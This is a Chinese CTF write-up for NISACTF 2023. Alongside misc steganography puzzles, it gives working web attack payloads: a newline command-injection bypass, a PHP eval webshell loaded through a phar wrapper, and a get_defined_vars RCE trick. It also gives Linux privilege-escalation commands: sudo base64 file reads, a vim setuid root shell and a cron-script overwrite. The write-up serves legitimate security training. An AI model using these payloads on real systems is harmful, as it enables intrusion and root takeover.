[NISACTF 2023]


NISACTF2023

misc

开门题

先打开附件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-05UV1YJf-1681880459446)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417130054573.png)]

发现W那的光标闪烁有点奇怪,猜测可能是零宽度字符隐写

零宽度字符在通常情况下,在一般的文本编辑器中是不可见的

我们可以放到CyberChef看一下是什么
在这里插入图片描述

发现有很多隐藏的零宽度字符

两个在线解码网站

  • https://330k.github.io/misc_tools/unicode_steganography.html
  • https://offdev.net/demos/zwsp-steg-js

第一个网站将原始的文本输入到Original Text

在这里插入图片描述

还可以自己选择零宽度字符

但是好像此题解不出来,得用第二个网站

直接丢进去解码

得到

}ysae_os_si_yhpargonagets_ecaps_htdiw_orez{galf

手动倒过来就能得到flag

中国编码

在这里插入图片描述

打开附件,发现是压缩包

提示密码为数字

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-voJ8WXyV-1681880388468)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417223627425.png)]

直接archive暴力破解密码

得到密码

得到一张没补全的二维码

我用画图补全完一扫发现flag不在

然后010打开,发现文件尾藏着个压缩包

丢到kali用binwalk分离,得到txt文件

题目提示文件类型为gif,手动添加文件头

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I9qLJg3U-1681880388468)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417224146235.png)]

修改后缀,发现还是打不开

然后发现中间有一段字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fd5SlYEw-1681880388469)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417224356263.png)]

丢到CyberChef解码

复制到网上搜一下

应该是跟什么汉信码有关

回去数一下那一串字符串

发现刚好24字节

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-snilutFy-1681880388469)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417224745698.png)]

猜测删掉才能打开图片

得到一张像二维码一样的图片

想到刚刚搜到的汉信码

找了下汉信码的图片

发现需要手动调整位置

利用最简单的画图工具

将四个部分放到正确的位置

题目最后一个提示中国编码中心

应该是要用中国编码app扫

得到flag

250

打开附件,发现是套娃解压zip

利用python脚本解压

import zipfile  
import os  
  
def extract_all(file_path, extract_path):  
    with zipfile.ZipFile(file_path, 'r') as zip_ref:  
        zip_ref.extractall(extract_path)  
    print(f"Extracted {file_path} to {extract_path}")  
    next_file_path = str(int(file_path.split('.')[0]) - 1) + '.zip'  #取第一项,每次减1
    if os.path.exists(next_file_path):  
        extract_all(next_file_path, extract_path)  
  
extract_all('250.zip', './')

解压得到一个打不开的文件,010打开

发现文件头为zip文件,加后缀,解压

得到900多张二维码

再次利用脚本批量扫描二维码,并且hex解码

import os
from PIL import Image
import pyzbar.pyzbar as pyzbar
# 指定扫描的目录
directory = 'qrcodes'
# 按顺序遍历目录中的所有图片文件
result = ''
for i in range(1, len(os.listdir(directory))+1):
    # 拼接文件路径
    filename = os.path.join(directory, str(i) + '.png')
    # 打开图片并解码二维码
    with open(filename, 'rb') as image_file:
        image = Image.open(image_file)
        codes = pyzbar.decode(image)
        # 将结果拼接到字符串中
    if codes:
        result += codes[0].data.decode()
    else:
        result += ''
# 将结果写入文件
with open('4.txt', 'w') as output_file:
    output_file.write(result)

得到16进制数据

然后导入,发现文件类型为jpg

修改文件后缀为jpg

得到一张猫的图片

010打开,拉到最下面发现有一串字符串

丢到CyberChef,得到flag

大眼瞪小眼

打开附件,发现有一张图片和一串奇奇怪怪的字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LFo3A9vL-1681880388469)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230419125217144.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x3DK3ztW-1681880388469)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230419125233441.png)]

图片猜测snow隐写

html文件猜测先转01再转换二维码

直接上脚本

from PIL import Image  
  
# 打开1.txt文件并读取其中的内容  
with open('1.txt', 'r') as f:  
    content = f.read()  
  
# 计算二维码图片的宽度和高度  
width = int(len(content) ** 0.5)  
height = width  
  
# 创建一张白色背景的图像  
img = Image.new('1', (width, height), 1)  
  
# 遍历每个像素,将1转换为黑色,0转换为白色  
for y in range(height):  
    for x in range(width):  
        if content[y * width + x] == '1':  
            img.putpixel((x, y), 0)  
  
# 保存生成的二维码图片  
img.save('qrcode.png')

二维码扫出来得到password为WowQaq555

根据我们的猜测snow隐写

语句

snow -C -p "WowQaq555" oOoOo.html

得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Np1gsLu0-1681880388470)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230419125829183.png)]

web

online shell

打开题目,一开始以为是sql注入

后面发现报错信息只有一个

思路一:

猜测要爆破密码

用户名直接猜admin,现在burpsuite爆破

抓包,发送到intruder

选择要爆破的位置

在这里插入图片描述

添加弱密码集

得到密码为password

思路二:

用kali扫一下目录

语句

dirsearch -u http://10.144.0.228:35141/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YgKvKve3-1684338434981)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230419173517458.png)]

发现有个www.zip

当然两种思路都可以

有个压缩包,打开eval.php

<?php
    /* 
        wowo
    */
    $args = @$_GET['args'];
    echo "<br>";
    if (count($args) >3) {
        echo "too many args";
        exit();
    }
    for ( $i=0; $i<count($args); $i++ ){  
        if ( !preg_match('/^\w+$/', $args[$i]) ) {
            echo "invalid args".$args[$i]."<br>";
            exit();
        }
    }
    
    $cmd = "/bin/255 " . implode(" ", $args);
    exec($cmd, $out);
    for ($i=0; $i<count($out); $i++){
        echo($out[$i]);
        echo('<br>');
    }
?>
//上传数组的长度得小于等于三
//\w正则匹配0-9a-zA-Z,我们要绕过正则匹配
//%0a绕过$的匹配结尾
//利用implode()函数拼接我们执行的命令

构造payload

eval.php?args[]=xxx%0a&args[]=ls

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bn1eGbDx-1684338434981)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230419173840560.png)]

cat一下,得到flag

eval.php?args[]=xxx%0a&args[]=cat&args[]=flag

阳光开朗大男孩

打开题目链接

一眼文件上传题,右键点开源代码

发现include.php,有文件包含

可以先用伪协议,在include.php查看include.php和upload.php源代码

语句

?file=php://filter/read=convert.base64-encode/resource=include.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SEYg5dT9-1684338434981)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230420224229405.png)]

发现会在文件名后加.php后缀,把它去掉

发现一串base64编码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jkAtVb6b-1684338434982)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230420224334410.png)]

base64解码,得到源代码

发现过滤了很多协议,提示文件是上传到uploads

我们可以用phar伪协议

步骤:

  1. 一句话木马

    <?php @eval($_POST['a']);highlight_file(__FILE__);?>
    
  2. 压缩成zip

  3. 修改后缀为png
    在这里插入图片描述

去到include.php

payload

include.php?file=phar://uploads/2.png/2

发现上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lw2k4hjK-1684338434982)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230420230018532.png)]

cat一下,得到flag

跟你双排纯坐牢

点开链接,想右键查看源代码,发现被禁

crul加u打开源代码,找了半天发现在cookie处有提示

去到Spark.php

又有提示

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NceyxnHD-1684338434982)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230422121918793.png)]

去到h111int.php

发现是rce

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L2hYC4KY-1684338434982)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230422121953471.png)]

phpinfo看看

发现过滤了一些东西

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-61kZZWG6-1684338434982)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230422122123773.png)]

ls查看一下,发现不行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aJ04r6yf-1684338434982)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230422122202221.png)]

这里要用到php的特性函数get_defined_vars(),可以获得所有已定义的变量,包括$GET。

还有一个current() 函数,可以返回一个数组中正被内部指针指向的元素,在题目这里就是$_GET。

我们在get传参的最后一个参数里写命令,然后就可以构造payload

?code=eval(end(current(get_defined_vars())))

ls再查看一下

?code=eval(end(current(get_defined_vars())));&a=system('ls');

解释:先获得所有已定义的变量,指的是$_GET,再返回一个数组中正被内部指针指向的元素,多传一个get参数,end() 函数用来将数组的内部指针指向最后一个元素,eval执行

注:**a=system(‘ls’);**为我们用end在最后一个参数写的命令

PPC

suuuuudo

题目提示

登录密码为ctf,利用sudo提权

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P4D1MOr1-1681880388470)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417160136881.png)]

ssh连接

ssh ctf@10.144.00.228 -p 35126

我们先ls查看下有什么文件

直接发现有flag

我们目的用sudo提权,来查看flag

查看权限语句

sudo -l

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v8OF71xF-1681880388470)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417160748560.png)]

说明我们只能用base64命令

我们可以借助下面的资料去找我们需要的命令

gtfobins

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eEmFrytF-1681880388470)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417161114180.png)]

构造payload

sudo base64 flag | base64 --decode

或者

sudo base64 flag | base64 -d

得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-acoEsTln-1681880388471)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417161412062.png)]

capabilities

题目提示要找到capabilities,利用capabilities提权

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3T2fq5Ww-1681880388471)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417161519113.png)]

ssh连接和前面一样

ls发现有flag

然后查了下capabilities提权相关资料

整体思路:

  1. 收集带有capabilities属性的程序(带有capabilities就等于执行时带有特权)
  2. 用该程序进行uid的切换,切换为0即为root

先查看带有cat_setuid的capability的程序

语句

getcap -r / 2>/dev/null

getcap -r /

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EHpUbAtc-1681880388471)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417162423298.png)]

发现是vim的程序

gtfobins

去查我们需要的命令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mvWvEue5-1681880388471)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417162542631.png)]

这里需要修改一下,py -->py3

(不然会报错)

payload

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

去cat一下

得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nJeGoLQ0-1681880388471)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417162807401.png)]

crooooooon master

题目提示crontab,定时任务提权

### [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OQAgz4eg-1681880388472)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417163247620.png)]

我们先查看当前系统中有哪些定时任务

语句

cat /etc/crontab

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QAByuA35-1681880388472)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417163650682.png)]

说明每分钟/home/ctf/backup.sh会以root权限执行一次

我们用flie去查看此文件

发现不行

去查看下文件大小和权限

ls -lh

发现权限不够

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LreqZxjs-1681880388472)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417163937431.png)]

但是我们已经知道root每分钟会执行一次

新思路:我们作为低权限用户可以借此提权

语句

echo "chmod 777 /home/ctf/flag" > /home/ctf/backup.sh

(“>” 是覆写文件)

具体解释:

目前的flag文件不具有执行的权限

我们通过root可以执行backup.sh的时候

去echo我们的命令,去提权让所有人能执行flag文件的权限

并且把我们的flag覆写到我们可以查看的文件

提权完,我们再ls -lh查看下文件权限,

发现可以被执行,得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6H5eB2Hl-1681880388472)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230417170311724.png)]

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值